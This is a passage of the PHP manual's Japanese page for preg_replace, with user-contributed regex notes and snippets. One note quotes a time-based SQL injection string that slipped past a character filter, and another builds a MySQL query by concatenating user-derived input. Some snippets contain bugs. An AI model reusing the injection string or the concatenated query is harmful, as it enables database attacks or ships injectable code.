}
?>

$code returns the whole text semi-formated. You only need to use it as :
$code = prepareCode($code="Your text", $op="[tag]" , $end="[/tag]");
Then just replace the parent tags :
str_replace("[tag:0]", "<tag>", $code);
str_replace("[/tag:0]", "</tag>", $code);
So at the end something like :
[
chris at ocproducts dot com 02-Jul-2010 07:39
The pcre.backtrack_limit option (added in PHP 5.2) can trigger a NULL return, with no errors. The default pcre.backtrack_limit value is 100000. If you have a match that exceeds about half this limit it triggers a NULL response.
e.g. My limit was at 100000 but 500500 triggered a NULL response. I'm not running unicode but I *guess* PCRE runs in utf-16.
Anonymous 09-Jun-2010 12:01
Created this to fetch the link and name of an anchor tag. I use this when cleaning an HTML email to text. Using regex for HTML is not recommended but for this purpose I see no issue with it. This is not designed to work for nested anchors.

A note to keep in mind:
I was primarily concerned with valid HTML so if attributes do no use ' or " to contain the values then this will need to be tweaked.
If you can edit this to work better, please let me know.
<?php
/**
 * Replaces anchor tags with text
 * - Will search string and replace all anchor tags with text (case insensitive)
 *
 * How it works:
 * - Searches string for an anchor tag, checks to make sure it matches the criteria
 *         Anchor search criteria:
 *             - 1 - <a (must have the start of the anchor tag )
 *             - 2 - Can have any number of spaces or other attributes before and after the href attribute
 *             - 3 - Must close the anchor tag
 *
 * - Once the check has passed it will then replace the anchor tag with the string replacement
 * - The string replacement can be customized
 *
 * Know issue:
 * - This will not work for anchors that do not use a ' or " to contain the attributes.
 *         (i.e.- <a href=http: //php.net>PHP.net</a> will not be replaced)
 */
function replaceAnchorsWithText($data) {
    /**
     * Had to modify $regex so it could post to the site... so I broke it into 6 parts.
     */
    $regex  = '/(<a\s*'; // Start of anchor tag
    $regex .= '(.*?)\s*'; // Any attributes or spaces that may or may not exist
    $regex .= 'href=[\'"]+?\s*(?P<link>\S+)\s*[\'"]+?'; // Grab the link
    $regex .= '\s*(.*?)\s*>\s*'; // Any attributes or spaces that may or may not exist before closing tag
    $regex .= '(?P<name>\S+)'; // Grab the name
    $regex .= '\s*<\/a>)/i'; // Any number of spaces between the closing anchor tag (case insensitive)

    if (is_array($data)) {
        // This is what will replace the link (modify to you liking)
        $data = "{$data['name']}({$data['link']})";
    }
    return preg_replace_callback($regex, 'replaceAnchorsWithText', $data);
}

$input  = 'Test 1: <a href="http: //php.net1">PHP.NET1</a>.<br />';
$input .= 'Test 2: <A name="test" HREF=\'HTTP: //PHP.NET2\' target="_blank">PHP.NET2</A>.<BR />';
$input .= 'Test 3: <a hRef=http: //php.net3>php.net3</a><br />';
$input .= 'This last line had nothing to do with any of this';

echo replaceAnchorsWithText($input).'<hr/>';
?>
Will output:
Test 1: PHP.NET1(http: //php.net1).
Test 2: PHP.NET2(HTTP: //PHP.NET2).
Test 3: php.net3 (is still an anchor)
This last line had nothing to do with any of this
Drake 21-Mar-2010 05:48
The good version of the class PhpHex2Str
<?php
class PhpHex2Str
{
    private $strings;

    private static function x_hex2str($hex) {
        $hex = substr($hex[0], 1);
        $str = '';
        for($i=0;$i < strlen($hex);$i+=2) {
            $str.=chr(hexdec(substr($hex,$i,2)));
        }
        return $str;
    }

    public function decode($strings = null) {
        $this->strings = (string) $strings;
        return preg_replace_callback('#\%[a-zA-Z0-9]{2}#', 'PhpHex2Str::x_hex2str', $this->strings);
    }
}

// Exemple
$obj = new PhpHex2Str;

$strings = $obj->decode($strings);
var_dump($strings);
?>
Drake 21-Mar-2010 12:05
Decode Hexa to Strings =)
<?php
class PhpHex2Str
{
    private $strings;

    private function x_hex2str($hex) {
        $hex = substr($hex[0], 1);
        $str = '';
        for($i=0;$i < strlen($hex);$i+=2) {
            $str.=chr(hexdec(substr($hex,$i,2)));
        }
        return $str;
    }

    public function decode($strings = null) {
        $this->strings = (string) $strings;
        return preg_replace_callback('#\%[a-zA-Z0-9]{2}#', 'x_hex2str', $this->strings);
    }
}

// Example
$strings = 'a %20 b%0A h %27 h %23';

$obj = new PhpHex2Str;
$strings = $obj->decode($strings);
var_dump($strings);
?>
carlos dot ballesteros at softonic dot com 02-Jul-2009 08:02
A simple function to replace a list of complete words or terms in a string (for PHP 5.3 or above because of the closure):

<?php
function replace_words($list, $line, $callback) {
    return preg_replace_callback(
        '/(^|[^\\w\\-])(' . implode('|', array_map('preg_quote', $list)) . ')($|[^\\w\\-])/mi',
        function($v) use ($callback) { return $v[1] . $callback($v[2]) . $v[3]; },
        $line
    );
}
?>

Example of usage:
<?php
$list = array('php', 'apache web server');
$str = "php and the apache web server work fine together. php-gtk, for example, won't match. apache web servers shouldn't too.";

echo replace_words($list, $str, function($v) {
    return "<strong>{$v}</strong>";
});
?>
Sjon at hortensius dot net 24-Jun-2007 04:56
preg_replace_callback returns NULL when pcre.backtrack_limit is reached; this sometimes occurs faster then you might expect. No error is raised either; so don't forget to check for NULL yourself
matt at mattsoft dot net 26-Apr-2006 02:16
it is much better on preformance and better practice to use the preg_replace_callback function instead of preg_replace with the e modifier.

function a($text){return($text);}

// 2.76 seconds to run 50000 times
preg_replace("/\{(.*?)\}/e","a('\\1','\\2','\\3',\$b)",$a);

// 0.97 seconds to run 50000 times
preg_replace_callback("/\{(.*?)\}/s","a",$a);


正規表現検索および置換を行う

  • ≪ preg_replace_callback
  • preg_split ≫
  • PHP Manual
  • PCRE 関数
  • 正規表現検索および置換を行う

preg_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_replace — 正規表現検索および置換を行う

説明

preg_replace ( string|array $pattern , string|array $replacement , string|array $subject , int $limit = -1 , int &$count = null ) : string|array|null

subject に関して pattern を用いて検索を行い、 replacement に置換します。

パラメータ

pattern

検索を行うパターン。文字列もしくは配列とすることができます。

PCRE 修飾子 も使えます。

replacement

置換を行う文字列もしくは文字列の配列。 この引数が文字列で、pattern 引数が配列の場合、 すべてのパターンがこの文字列に置換されます。 pattern および replacement のいずれもが配列の場合、各 pattern は 対応する replacement に置換されます。 もし、replacement 配列の要素の数が pattern 配列よりも少ない場合は、余った pattern は 空文字に置換されます。

replacement では、 \n 形式または $n 形式で参照を指定することができます。 後者の形式の方が好ましい形式です。各参照は、n 番目のキャプチャ用サブパターンにマッチしたテキストにより置換されます。 n は 0 から 99 までとすることができ、 \0 または $0 は パターン全体にマッチするテキストを参照します。キャプチャ用サブパターンの番号 については、その左括弧が左から右に（1から）カウントされます。 string に含まれるバックスラッシュリテラルは、エスケープが必須であることに注意して下さい。

後方参照の直後に他の数字が続くような置換 (replacement) パターンを 使用する場合（すなわち、マッチしたパターンの直後に数字リテラルを置く 場合）、後方参照を行うために通常の \1 表記を 使用することができません。例えば、\11　は、 後方参照 \1 の後にリテラル 1 が続くのか、後方参照 \11 で その後には何も続かないのかが不明のため、 preg_replace() を混乱させる可能性があります。 この場合、解決策は、${1}1 を使用することです。 こうすることで、1 はリテラルとなり、後方参照 $1 を明確に作成できます。

非推奨の e 修飾子を使用する際に、 この関数は後方参照を置換する文字列のうちの特定の文字 (具体的には '、"、 \ および NULL) をエスケープします。 これは、後方参照をシングルクォートやダブルクォートを共用した場合 (たとえば 'strlen(\'$1\')+strlen("$2")') に構文エラーが発生しないようにするためのものです。 PHP の 文字列構文 を意識し、 文字列がどのように解釈されるのかを正確に知っておくようにしましょう。

subject

検索・置換対象となる文字列もしくは文字列の配列

subject が配列の場合、検索と置換は subject の各要素に対して行われ、返り値も配列となります。

limit

subject 文字列において、各パターンによる 置換を行う最大回数。デフォルトは -1 (制限無し)。

count

この引数が指定されると、置換回数が渡されます。

返り値

preg_replace() は、 subject 引数が配列の場合は配列を、 その他の場合は文字列を返します。

パターンがマッチした場合、〔置換が行われた〕新しい subject を返します。マッチしなかった場合、subject をそのまま返します。エラーが発生した場合、null を返します。

エラー / 例外

PHP 5.5.0 以降で "\e" 修飾子を使うと、 E_DEPRECATED レベルのエラーが発生します。 PHP 7.0.0 以降で "\e" 修飾子を使うと、 E_WARNING レベルのエラーが発生します。

例

例1 数字リテラルが後に続く後方参照

<?php
$string = 'April 15, 2003';
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,$3';
echo preg_replace($pattern, $replacement, $string);
?>

上の例の出力は以下となります。

April1,2003

例2 添字配列の使用

<?php
$string = 'The quick brown fox jumps over the lazy dog.';
$patterns = array();
$patterns[0] = '/quick/';
$patterns[1] = '/brown/';
$patterns[2] = '/fox/';
$replacements = array();
$replacements[2] = 'bear';
$replacements[1] = 'black';
$replacements[0] = 'slow';
echo preg_replace($patterns, $replacements, $string);
?>

上の例の出力は以下となります。

The bear black slow jumps over the lazy dog.

pattern と replacement を ksort すると、所望のものが得られます。

<?php
ksort($patterns);
ksort($replacements);
echo preg_replace($patterns, $replacements, $string);
?>

上の例の出力は以下となります。

The slow black bear jumps over the lazy dog.

例3 複数値の置換

<?php
$patterns = array ('/(19|20)(\d{2})-(\d{1,2})-(\d{1,2})/',
                   '/^\s*{(\w+)}\s*=/');
$replace = array ('\3/\4/\1\2', '$\1 =');
echo preg_replace($patterns, $replace, '{startDate} = 1999-5-27');
?>

上の例の出力は以下となります。

$startDate = 5/27/1999

例4 空白の削除

この例は、文字列から余分な空白を取り除きます。

<?php
$str = 'foo   o';
$str = preg_replace('/\s\s+/', ' ', $str);
// This will be 'foo o' now
echo $str;
?>

例5 count 引数の使用

<?php
$count = 0;

echo preg_replace(array('/\d/', '/\s/'), '*', 'xp 4 to', -1 , $count);
echo $count; //3
?>

上の例の出力は以下となります。

xp***to
3

注意

注意:

pattern および replacement を使用する際、配列の並び順に処理されます。添字は整数であっても、 その並びは値の小さい順になっているとは限りません。 ですから、配列の添字を使って、どの pattern が、どの replacement に置換されるかを指定しようとする場合は、 preg_replace() をコールする前に、各配列に対し ksort() を実行しておくべきです。

参考

  • PCRE のパターン
  • preg_quote() - 正規表現文字をクオートする
  • preg_filter() - 正規表現による検索と置換を行う
  • preg_match() - 正規表現によるマッチングを行う
  • preg_replace_callback() - 正規表現検索を行い、コールバック関数を使用して置換を行う
  • preg_split() - 正規表現で文字列を分割する
  • preg_last_error() - 直近の PCRE 正規表現処理のエラーコードを返す

User Contributed Notes

Anonymous 19-May-2020 06:28
Note that the replacement string using the ${n} notation for a group identifier (rather than the $n notation) must be in a SINGLE quoted string:

 $replacement = '${1}1,$3'; // Correct - Single Quoted
 $replacement = "${1}1,$3"; // Incorrect - Double Quoted
 $replacement = "$1 one , $3"; // Correct - Double Quoted but with $n notation.

This might sneak up on you, because it is not an error to use "${1}".  The double quotes allow a string that contains variable interpolation, and the braces make the variable a PHP "Variable-Variable". In the above example the undefined ${1} will evaluate to NULL rather than the replaced string. Valid PHP, but not what you wanted.
Anonymous 22-Apr-2020 02:02
Warning: craiga's function escape_backreference() is incomplete (doesn't escape '\0' nor '${0}').

To escape any potential backreferences in a replacement variable, use addcslashes() for backslash and dollar characters:

<?php
// $replacement may contain sequences like \0, $0 or ${0}
echo preg_replace($pattern, addcslashes($replacement, '\\$'), $subject);
?>
Ducktales 27-Feb-2020 05:27
To replace double whitespace by a single space character in a sentence you need to use the \h modifier. It stands for horizontal whitespace. The more common \s modifier includes vertical whitespace such as line breaks, which is not good for saving paragraphs.

Additionally, since most of todays code works with unicode strings you need to add the /u unicode modifier. I tried to replace four sequential normal spaces by one hyphen character resulting in '- - ' instead of '-'. I don't know why it works this way.

<?php
// Replace one or more horizontal white spaces
// of any kind by one normal space character
$str = preg_replace ('/\h+/u', ' ', $str);
?>
mail at johanvandemerwe dot nl 13-Nov-2019 12:41
Sample for replacing bracketed short-codes

The used short-codes are purely used for educational purposes for they could be shorter as in 'italic' to 'i' or 'bold' to 'b'.

Sample text
----
This sample shows how to have [italic]italic[/italic], [bold]bold[/bold] and [underline]underlined[/underline] and [strikethrough]striked[/striketrhough] text.

with this function:

<?php
function textDecoration($html)
{
    $patterns = [
        '/\[(italic)\].*?\[\/\1\] ?/',
        '/\[(bold)\].*?\[\/\1\] ?/',
        '/\[(underline)\].*?\[\/\1\] ?/'
    ];

    $replacements = [
        '<i>$1</i>',
        '<strong>$1</strong>',
        '<u>$1</u>'
    ];

    return preg_replace($patterns, $replacements, $html);
}

$html = textDecoration($html);

echo $html; // or return
?>

results in:
----
This sample shows how to have <i>italic</i>, <b>bold</b> and <u>underlined</u> and [strikethrough]striked[/striketrhough] text.

Notice!
There is no [strikethrough]striked[/striketrhough] fallback in the patterns and replacements array
willbrownsberger at gmail dot com 20-Sep-2018 06:27
Worth knowing:  When arrays of patterns and replacements are provided, they are executed in the order they appear in the array -- so later array elements can act on the results of earlier array elements.

For example:

<?php

echo preg_replace(
    array( '#cat#', '#dog#', '#eel#', '#snowman#' ),
    array(  'dog1', 'eel2', 'snowman3', 'monster4' ),
    'the good cat and the bad dog wandered on the beach'

);

/* result: the good monster4321 and the bad monster432 wandered on the beach
*/
chrisbloom7 at gmail dot com 16-Aug-2018 08:01
Note that when given array arguments the replacement happens in sequence:

<?php
$p = array('/a/', '/b/', '/c/');
$r = array('b', 'c', 'd');
print_r(preg_replace($p, $r, 'a'));
// => d
?>
bublifuk at mailinator dot com 30-May-2018 03:36
A delimiter can be any ASCII non-alphanumeric, non-backslash, non-whitespace character:  !"#$%&'*+,./:;=?@^_`|~-  and  ({[<>]})
alves dot david at outlook dot com 28-Feb-2018 12:40
// Function to format Brazilian taxvat using preg_replace
// Funcao para formatar o CPF ou CPF utilizando preg_replace
if (!function_exists('cpf_cnpj')) {
    function cpf_cnpj($cpf_cnpj)
    {
        if (!in_array(strlen($cpf_cnpj), [11, 14])) {
            return $cpf_cnpj;
        }

        if (strlen($cpf_cnpj) == 11) {
            return preg_replace("/(\d{3})(\d{3})(\d{3})(\d{2})/", "$1.$2.$3-$4", $cpf_cnpj);
        } else {
            return preg_replace("/(\d{2})(\d{3})(\d{3})(\d{4})(\d{2})/", "$1.$2.$3/$4-$5", $cpf_cnpj);
        }
    }
}

echo cpf_cnpj(12345678901), ' - ', cpf_cnpj(12345678000190);

// 123.456.789-01 - 12.345.678/0001-90
creating SEO friendly Strings 09-Feb-2018 01:47
<?php

/**
  * prepares a string optimized for SEO
  * @see https://blog.ueffing.net/post/2016/03/14/string-seo-optimieren-creating-seo-friendly-url/
  * @param String $string
  * @return String $string SEO optimized String
  */
function seofy ($sString = '')
{
    $sString = preg_replace('/[^\\pL\d_]+/u', '-', $sString);
    $sString = trim($sString, "-");
    $sString = iconv('utf-8', "us-ascii//TRANSLIT", $sString);
    $sString = strtolower($sString);
    $sString = preg_replace('/[^-a-z0-9_]+/', '', $sString);

    return $sString;
}

// Example
seofy('Strasenfest in Munchen'); // => strassenfest-in-muenchen
seofy('Jose Ignacio Lopez de Arriortua'); // => jose-ignacio-lopez-de-arriortua

?>

The function seofy () creates a SEO friendly version from a string. Umlauts and other letters not contained in the ASCII character set are either reduced to the basic form equivalent (e. g.: e becomes e and u wid u) or completely converted (e. g. s becomes ss and u becomes ue).

On the one hand this succeeds because the php function preg_replace performs the replacement by means of unicode - Unicode Regular Expressions - and on the other hand because an approximate translation is attempted by means of the php function iconv with the TRANSLIT option.

Quote php. net about iconv and TRANSLIT:
"If you append the character string //TRANSLIT to out_charset, transliteration is activated. This means that a character that cannot be displayed in the target character set can be approximated with one or more similar-looking characters.[...]"

Source:
https://blog.ueffing.net/post/2016/03/14/string-seo-optimieren-creating-seo-friendly-url/
natan dot jesussouza at gmail dot com 11-Oct-2017 09:22
$firstname = htmlspecialchars($_POST['campo']);
$firstname = preg_replace("/[^a-zA-Z0-9]/", "", $firstname, -1, $count_fn);

// $count_fn conta quantos caracteres foram mudados.
// $firstname variavel que captura o input
helia at gmail dot com 08-Nov-2015 11:36
$pattern='/(09(1|2|3)\d{8})/';
$string ="n:09138660959 nu: 09371313317 nu:09211313317 n: 09393026988nu:09193472840nnu:09211313317nu:09211313317nu:09121772890";
$replacements='($1 code $2)';
echo  preg_replace($pattern, $replacements, $string);
logofero at gmail dot com 17-Apr-2015 04:13
Why not offset parameter to replace the string? It would be helpful

example:

mixed preg_replace (mixed $pattern, mixed $replacement, mixed $subject [, int $limit = -1 [, int & $count [, int $offset = 0]]])

1 $pattern
2 $replacement
3 $subject
4 $limit
5 $count
6 $offset <- it is planned?
Garrett Albright 30-Mar-2015 08:14
It may be useful to note that if you pass an associative array as the $replacement parameter, the keys are preserved.

<?php
$replaced = preg_replace('/foo/', 'bar', ['first' => 'foobar', 'second' => 'barfoo']);
// $replaced is now ['first' => 'barbar', 'second' => 'barbar'].
?>
Nibbels 15-Mar-2015 02:46
I have been filtering every userinput with preg_replace since 6 Years now and nothing happened. I am running PHP 5.6.6 and because of historical reasons I still do not use mysqli.
Now i noticed that this filter [^0-9a-zA-Z_ -|:\.] won't filter anything from a Sleeping-Hack-String like `%' AnD sLeep(3) ANd '1%`:

preg_replace ( '/[^0-9a-zA-Z_ -|:\.]/', '', "%' AnD sLeep(3) ANd '1%" );

The reason is, that the fourth Minus has to be escaped!
Fix: [^0-9a-zA-Z_ \-|:\.]

I tell you because I did not know this and I am pretty sure btw. maybe in older versions of PHP some did not have to escape this minus. Those hacks did not work in the old days, because formerly I have been testing against this.

Greetings
Jeroen 01-Feb-2015 01:25
Hello there,
I would like to share a regex (PHP) sniplet of code
I wrote (2012) for myself it is also being used in the
Yerico sriptmerge plugin for joomla marked as simple code..
To  compress javascript code and remove all comments from it.
It also works with mootools It is fast...
(in compairison to other PHP solutions) and does not damage the
Javascript it self and it resolves lots of comment removal isseus.

//START Remove comments.

   $buffer = str_replace('/// ', '///', $buffer);
   $buffer = str_replace(',//', ', //', $buffer);
   $buffer = str_replace('{//', '{ //', $buffer);
   $buffer = str_replace('}//', '} //', $buffer);
   $buffer = str_replace('*//*', '*/  /*', $buffer);
   $buffer = str_replace('/**/', '/*  */', $buffer);
   $buffer = str_replace('*///', '*/ //', $buffer);
   $buffer = preg_replace("/\/\/.*\n\/\/.*\n/", "", $buffer);
   $buffer = preg_replace("/\s\/\/\".*/", "", $buffer);
   $buffer = preg_replace("/\/\/\n/", "\n", $buffer);
   $buffer = preg_replace("/\/\/\s.*.\n/", "\n  \n", $buffer);
   $buffer = preg_replace('/\/\/w[^w].*/', '', $buffer);
   $buffer = preg_replace('/\/\/s[^s].*/', '', $buffer);
   $buffer = preg_replace('/\/\/\*\*\*.*/', '', $buffer);
   $buffer = preg_replace('/\/\/\*\s\*\s\*.*/', '', $buffer);
   $buffer = preg_replace('/[^\*]\/\/[*].*/', '', $buffer);
   $buffer = preg_replace('/([;])\/\/.*/', '$1', $buffer);
   $buffer = preg_replace('/((\r)|(\n)|(\R)|([^0]1)|([^\"]\s*\-))(\/\/)(.*)/', '$1', $buffer);
   $buffer = preg_replace("/([^\*])[\/]+\/\*.*[^a-zA-Z0-9\s\-=+\|!@#$%^&()`~\[\]{};:\'\",<.>?]/", "$1", $buffer);
  $buffer = preg_replace("/\/\*/", "\n/*dddpp", $buffer);
  $buffer = preg_replace('/((\{\s*|:\s*)[\"\']\s*)(([^\{\};\"\']*)dddpp)/','$1$4', $buffer);
  $buffer = preg_replace("/\*\//", "xxxpp*/\n", $buffer);
  $buffer = preg_replace('/((\{\s*|:\s*|\[\s*)[\"\']\s*)(([^\};\"\']*)xxxpp)/','$1$4', $buffer);
  $buffer = preg_replace('/([\"\'])\s*\/\*/', '$1/*', $buffer);
  $buffer = preg_replace('/(\n)[^\'"]?\/\*dddpp.*?xxxpp\*\//s', '', $buffer);
  $buffer = preg_replace('/\n\/\*dddpp([^\s]*)/', '$1', $buffer);
  $buffer = preg_replace('/xxxpp\*\/\n([^\s]*)/', '*/$1', $buffer);
  $buffer = preg_replace('/xxxpp\*\/\n([\"])/', '$1', $buffer);
  $buffer = preg_replace('/(\*)\n*\s*(\/\*)\s*/', '$1$2$3', $buffer);
  $buffer = preg_replace('/(\*\/)\s*(\")/', '$1$2', $buffer);
  $buffer = preg_replace('/\/\*dddpp(\s*)/', '/*', $buffer);
  $buffer = preg_replace('/\n\s*\n/', "\n", $buffer);
  $buffer = preg_replace("/([^\'\"]\s*)<!--.*-->(?!(<\/div>)).*/","$1", $buffer);
  $buffer = preg_replace('/([^\n\w\-=+\|!@#$%^&*()`~\[\]{};:\'",<.>\/?\\\\])(\/\/)(.*)/', '$1', $buffer);

//END Remove comments.

//START Remove all whitespaces

  $buffer = preg_replace('/\s+/', ' ', $buffer);
  $buffer = preg_replace('/\s*(?:(?=[=\-\+\|%&\*\)\[\]\{\};:\,\.\<\>\!\@\#\^`~]))/', '', $buffer);
  $buffer = preg_replace('/(?:(?<=[=\-\+\|%&\*\)\[\]\{\};:\,\.\<\>\?\!\@\#\^`~]))\s*/', '', $buffer);
  $buffer = preg_replace('/([^a-zA-Z0-9\s\-=+\|!@#$%^&*()`~\[\]
{};:\'",<.>\/?])\s+([^a-zA-Z0-9\s\-=+\|!@#$%^&*()`~\[\]
{};:\'",<.>\/?])/', '$1$2', $buffer);

//END Remove all whitespaces

I am off coarse not a programmer just wanted to
make the plugin work like i wanted it to....
(NOTE:
For the webmaster sorry I posted this in the wrong topic before...)
elliot dot greene at att dot net 09-Jun-2014 04:37
preg_replace to only show alpha numeric characters

$info = "The Development of code . http://www.";

$info = preg_replace("/[^a-zA-Z0-9]+/", "", $info);

echo $info;

OUTPUTS: TheDevelopmentofcodehttpwww

This is a good workable code
http://www.sioure.com
spamthishard at wtriple dot com 12-Jun-2013 08:02
If you want to replace only the n-th occurrence of $pattern, you can use this function:

<?php

function preg_replace_nth($pattern, $replacement, $subject, $nth=1) {
    return preg_replace_callback($pattern,
        function($found) use (&$pattern, &$replacement, &$nth) {
                $nth--;
                if ($nth==0) return preg_replace($pattern, $replacement, reset($found) );
                return reset($found);
        }, $subject,$nth  );
}

echo preg_replace_nth("/(\w+)\|/", '${1} is the 4th|', "|aa|b|cc|dd|e|ff|gg|kkk|", 4);

?>

this outputs |aa|b|cc|dd is the 4th|e|ff|gg|kkk|
backreferences are accepted in $replacement
Dustin 16-May-2013 11:53
Matching substrings where the match can exist at the end of the string was non-intuitive to me.

I found this because:
strtotime() interprets 'mon' as 'Monday', but Postgres uses interval types that return short names by default, e.g. interval '1 month' returns as '1 mon'.

I used something like this:

$str = "mon month monday Mon Monday Month MONTH MON";
$strMonth = preg_replace('~(mon)([^\w]|$)~i', '$1th$2', $str);
echo "$str\n$strMonth\n";

//to output:
mon month monday Mon Monday Month MONTH MON
month month monday Month Monday Month MONTH MONth
nik at rolls dot cc 17-Mar-2013 10:14
To split Pascal/CamelCase into Title Case (for example, converting descriptive class names for use in human-readable frontends), you can use the below function:

<?php
function expandCamelCase($source) {
  return preg_replace('/(?<!^)([A-Z][a-z]|(?<=[a-z])[^a-z]|(?<=[A-Z])[0-9_])/', ' $1', $source);
}
?>

Before:
  ExpandCamelCaseAPIDescriptorPHP5_3_4Version3_21Beta
After:
  Expand Camel Case API Descriptor PHP 5_3_4 Version 3_21 Beta
cincodenada at gmail dot dot dot com 30-Oct-2012 10:43
There seems to be some confusion over how greediness works.  For those familiar with Regular Expressions in other languages, particularly Perl: it works like you would expect, and as documented.  Greedy by default, un-greedy if you follow a quantifier with a question mark.

There is a PHP/PCRE-specific U pattern modifier that flips the greediness, so that quantifiers are by default un-greedy, and become greedy if you follow the quantifier with a question mark: http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php

To make things clear, a series of examples:

<?php

$preview = "a bunch of stuff <code>this that</code> and more stuff <code>with a second code block</code> then extra at the end";

$preview_default = preg_replace('/<code>(.*)<\/code>/is', "<code class=\"prettyprint\">$1</code>", $preview);
$preview_manually_ungreedy = preg_replace('/<code>(.*?)<\/code>/is', "<code class=\"prettyprint\">$1</code>", $preview);

$preview_U_default = preg_replace('/<code>(.*)<\/code>/isU', "<code class=\"prettyprint\">$1</code>", $preview);
$preview_U_manually_greedy = preg_replace('/<code>(.*?)<\/code>/isU', "<code class=\"prettyprint\">$1</code>", $preview);

echo "Default, no ?: $preview_default\n";
echo "Default, with ?: $preview_manually_ungreedy\n";
echo "U flag, no ?: $preview_U_default\n";
echo "U flag, with ?: $preview_U_manually_greedy\n";

?>

Results in this:

Default, no ?: a bunch of stuff <code class="prettyprint">this that</code> and more stuff <code>with a second code block</code> then extra at the end
Default, with ?: a bunch of stuff <code class="prettyprint">this that</code> and more stuff <code class="prettyprint">with a second code block</code> then extra at the end
U flag, no ?: a bunch of stuff <code class="prettyprint">this that</code> and more stuff <code class="prettyprint">with a second code block</code> then extra at the end
U flag, with ?: a bunch of stuff <code class="prettyprint">this that</code> and more stuff <code>with a second code block</code> then extra at the end

As expected: greedy by default, ? inverts it to ungreedy.  With the U flag, un-greedy by default, ? makes it greedy.
hvishnu999 at gmail dot com 08-Jan-2012 06:25
To covert a string to SEO friendly, do this:

<?php
$realname = "This is the string to be made SEO friendly!"

$seoname = preg_replace('/\%/',' percentage',$realname);
$seoname = preg_replace('/\@/',' at ',$seoname);
$seoname = preg_replace('/\&/',' and ',$seoname);
$seoname = preg_replace('/\s[\s]+/','-',$seoname);    // Strip off multiple spaces
$seoname = preg_replace('/[\s\W]+/','-',$seoname);    // Strip off spaces and non-alpha-numeric
$seoname = preg_replace('/^[\-]+/','',$seoname); // Strip off the starting hyphens
$seoname = preg_replace('/[\-]+$/','',$seoname); // // Strip off the ending hyphens
$seoname = strtolower($seoname);

echo $seoname;
?>

This will print: this-is-the-string-to-be-made-seo-friendly
denis_truffaut a t hotmail d o t com 23-Dec-2011 05:11
If you want to catch characters, as well european, russian, chinese, japanese, korean of whatever, just :
- use mb_internal_encoding('UTF-8');
- use preg_replace('`...`u', '...', $string) with the u (unicode) modifier

For further information, the complete list of preg_* modifiers could be found at :
http://php.net/manual/en/reference.pcre.pattern.modifiers.php
akarmenia at gmail dot com 22-Oct-2011 11:47
[Editor's note: in this case it would be wise to rely on the preg_quote() function instead which was added for this specific purpose]

If your replacement string has a dollar sign or a backslash. it may turn into a backreference accidentally! This will fix it.

I want to replace 'text' with '$12345' but this becomes a backreference to $12 (which doesn't exist) and then it prints the remaining '34'. The function down below will return a string that escapes the backreferences.

OUTPUT:
string(8) "some 345"
string(11) "some \12345"
string(8) "some 345"
string(11) "some $12345"

<?php

$a = 'some text';

// Either of these will backreference and fail
$b1 = '\12345'; // Should be '\\12345' to avoid backreference
$b2 = '$12345'; // Should be '\$12345' to avoid backreference

$d = array($b1, $b2);

foreach ($d as $b) {
    $result1 = preg_replace('#(text)#', $b, $a); // Fails
    var_dump($result1);
    $result2 = preg_replace('#(text)#', preg_escape_back($b), $a); // Succeeds
    var_dump($result2);
}

// Escape backreferences from string for use with regex
function preg_escape_back($string) {
    // Replace $ with \$ and \ with \\
    $string = preg_replace('#(?<!\\\\)(\\$|\\\\)#', '\\\\$1', $string);
    return $string;
}

?>
timitheenchanter 28-Jul-2011 01:34
If you have issues where preg_replace returns an empty string, please take a look at these two ini parameters:

pcre.backtrack_limit
pcre.recursion_limit

The default is set to 100K.  If your buffer is larger than this, look to increase these two values.
sreekanth at outsource-online dot net 19-Jul-2011 01:29
if your intention to code and decode mod_rewrite urls and handle it with php and mysql ,this should work

to convert to url
$url = preg_replace('/[^A-Za-z0-9_-]+/', '-', $string);

And to check in mysql with the url value,use the same expression discounting '-'.
first replace the url value  with php using preg_replace  and use with mysql REGEXP

$sql = "select * from table where fieldname_to_check REGEXP '".preg_replace("/-+/",'[^A-Za-z0-9_]+',$url)."'"
anyvie at devlibre dot fr 17-Jun-2011 02:11
A variable can handle a huge quantity of data but preg_replace can't.

Example :
<?php
$url = "ANY URL WITH LOTS OF DATA";

// We get all the data into $data
$data = file_get_contents($url);

// We just want to keep the content of <head>
$head = preg_replace("#(.*)<head>(.*?)</head>(.*)#is", '$2', $data);
?>

$head can have the desired content, or be empty, depends on the length of $data.

For this application, just add :
$data = substr($data, 0, 4096);
before using preg_replace, and it will work fine.
someuser at dot dot com 08-Jun-2011 04:10
Replacement of line numbers, with replacement limit per line.

Solution that worked for me.
I have a file with tasks listed each starting from number, and only starting number should be removed because forth going text has piles of numbers to be omitted.

56 Patient A of 46 years suffering ... ...
57 Newborn of 26 weeks was ...
58 Jane, having age 18 years recollects onsets of ...
...
587 Patient of 70 years ...

etc.

<?php
// Array obtained from file
$array = file($file, true);

// Decompile array with foreach loop
foreach($array as $value)
{
    //    Take away numbers 100-999
    //    Starting from biggest
    //
    //    %            Delimiter
    //    ^            Make match from beginning of line
    //    [0-9]        Range of numbers
    //    {3}        Multiplication of digit range (For tree digit numbers)
    //
    if(preg_match('%^[0-9]{3}%', $value))
    {
        // Re-assing to value its modified copy
        $value = preg_replace('%^[0-9]{3}%', '-HERE WAS XXX NUMBER-', $value, 1);
    }

    // Take away numbers 10-99
    elseif(preg_match('%^[0-9]{2}%', $value)) {
        $value = preg_replace('%^[0-9]{2}%', '-HERE WAS XX NUMBER-', $value, 1);
    }

    // Take away numbers 0-9
    elseif(preg_match('%^[0-9]%', $value)) {
        $value = preg_replace('%^[0-9]%', '-HERE WAS X NUMBER-', $value, 1);
    }

    // Build array back
    $arr[] = array($value);

    }
}
?>
craiga at craiga dot id dot au 15-May-2011 07:02
If there's a chance your replacement text contains any strings such as "$0.95", you'll need to escape those $n backreferences:

<?php
function escape_backreference($x)
{
    return preg_replace('/\$(\d)/', '\\\$$1', $x);
}
?>
me at perochak dot com 22-Feb-2011 09:57
If you would like to remove a tag along with the text inside it then use the following code.

<?php
preg_replace('/(<tag>.+?)+(<\/tag>)/i', '', $string);
?>

example
<?php $string='<span class="normalprice">55 PKR</span>'; ?>

<?php
$string = preg_replace('/(<span class="normalprice">.+?)+(<\/span>)/i', '', $string);
?>

This will results a null or empty string.

<?php
$string='My String <span class="normalprice">55 PKR</span>';

$string = preg_replace('/(<span class="normalprice">.+?)+(<\/span>)/i', '', $string);
?>

This will results a " My String"
